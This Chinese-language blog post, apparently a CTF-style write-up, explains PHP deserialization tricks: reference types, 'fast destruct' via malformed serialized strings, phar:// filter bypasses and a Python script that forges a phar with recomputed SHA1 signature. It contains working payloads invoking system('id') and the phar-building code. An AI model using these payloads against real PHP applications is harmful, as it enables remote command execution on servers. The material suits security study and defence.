PHP反序列化小技巧

前言

这些是这段时间遇到的几个反序列化的小技巧。而fast destruct刚好是最近在某次实战过程中遇到的比较实用的小技巧,于是顺便一起总结下吧。

PHP引用

PHP中存在引用,在反序列化时R 表示指针引用,使用&表示对某个值的指针引用。在PHP中如果a变量是b变量的引用,则a变量被修改时b变量也会一起被修改。

例如在PHP中写入这样一段代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("/flag");
    }

    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

则可以在序列化时使用引用类型,使得Clazz类中的b成员变量是a成员变量的引用:

1
2
3
$clazz = new Clazz();
$clazz->b = &$clazz->a;
echo serialize($clazz);

可以生成如下所示的序列化字符串,其中变量b的类型被标为R,后面的数字表示所引用的对象在序列化串中第一次出现的位置,例如在这里的Clazz对象是第一个对象,编号为1,而a是第二个对象编号为2。

1
O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

这个number简单的说,就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类型)的位置。

在反序列化之后Clazz类的成员变量b会成为a的引用,对成员变量a执行的修改操作会同步到成员变量b

fast destruct

unserialize()函数得到的对象的生命周期如下:

  • 在PHP中如果单独执行unserialize()函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()方法
  • 而如果将unserialize()函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法

通常发序列化的入口在__destruct()方法,__wakeup()方法的内容一般为反序列化的限制,如果在反序列化操作之后抛出了异常则会跳过__destruct()函数的执行。

例如在PHP中写入这样一段代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
class Clazz
{
    public $func;
    public $args;

    public function __destruct()
    {
        call_user_func($this->func, $this->args);
    }
}
$a = @unserialize($_POST['data']);
throw new Exception("Hacker");

反序列化操作执行之后并没有立即执行__destruct()方法中的内容,而是抛出了异常导致__destruct()方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()方法被提前执行。

例如正常情况下得到的序列化字符串是如下所示的格式:

1
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";}

对序列化字符串进行修改后:

1
2
3
4
//末尾加入了一个数字1
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";1}
//去掉了一个大括号
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";

unserialize()函数在扫描到序列化字符串格式有误时会提取触发对象的__destruct()方法导致命令执行。

phar反序列化

是的,这里又提到phar反序列化,但是不可能再讲一遍吧,关于phar反序列化的基础知识可以看之前这篇文章:反序列化

Phar文件的格式大概如下图所示,来源于php文档

202111241826791

其中Meta-data中储存了序列化字符串,然后末尾有至少24 bytes的签名

签名的格式大概长这样:

202111241852645

通常默认使用SHA1签名,flags标志位为0x0002,最后4位为GBMB

使用phar反序列时如果不能以phar开头,还可以使用下面这几种方式进行绕过

1
2
3
4
compress.bzip://phar://eastjun.phar/text.txt
compress.bzip2://phar://eastjun.phar/text.txt
compress.zlib://phar://eastjun.phar/text.txt
php://filter/resource=phar://eastjun.phar/text.txt

然后大概是遇到了这样一串PHP代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
class Clazz
{
    public $func;
    public $args;

    public function __destruct()
    {
        call_user_func($this->func, $this->args);
    }
}

$a = file_get_contents($_POST["data"]);
if (preg_match("/phar/i", $_POST["data"])) {
    throw new Exception("Hacker");
}

大概是需要使用phar反序列化,但是如果文件名中包含phar则抛出异常,不会执行类中的__destruct()方法,于是这里可以使用fast destruct提前触发反序列化。不过使用fast destruct需要修改Meta-data中储存的序列化字符串,然后重新计算签名,所以再回去看看Phar文件的格式,Meta-data前面有4 bytes的反序列化字符串的长度,末尾有签名,签名算法可选,如果使用SHA1校验,则末尾签名的部分有28 bytes。

首先需要生成一个phar文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$clazz = new Clazz();
$clazz->func = "system";
$clazz->args = "id";
@unlink("eastjun.phar");
$p = new Phar("eastjun.phar",0);
$p->startBuffering();
$p->setMetadata($clazz);
$p->setStub("GIF89a__HALT_COMPILER();");
$p->addFromString("text.txt","successful!");
$p->stopBuffering();

然后用下面的Python脚本可以生成新的可触发fast destruct的phar文件并计算签名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import hashlib

f = open("eastjun.phar", "rb")
data = f.read()
f.close()
length = int(data[47:51][::-1].hex(), 16)
data = data[:51 + length - 1] + b"1" + data[51 + length:len(data) - 28]
data += hashlib.sha1(data).digest()
data += b"\x02\x00\x00\x00GBMB"
f = open("eastjun.phar", "wb")
f.write(data)
f.close()

于是使用新的phar文件触发反序列化可以提前触发__destruct()方法造成命令执行。

updatedupdated2023-05-202023-05-20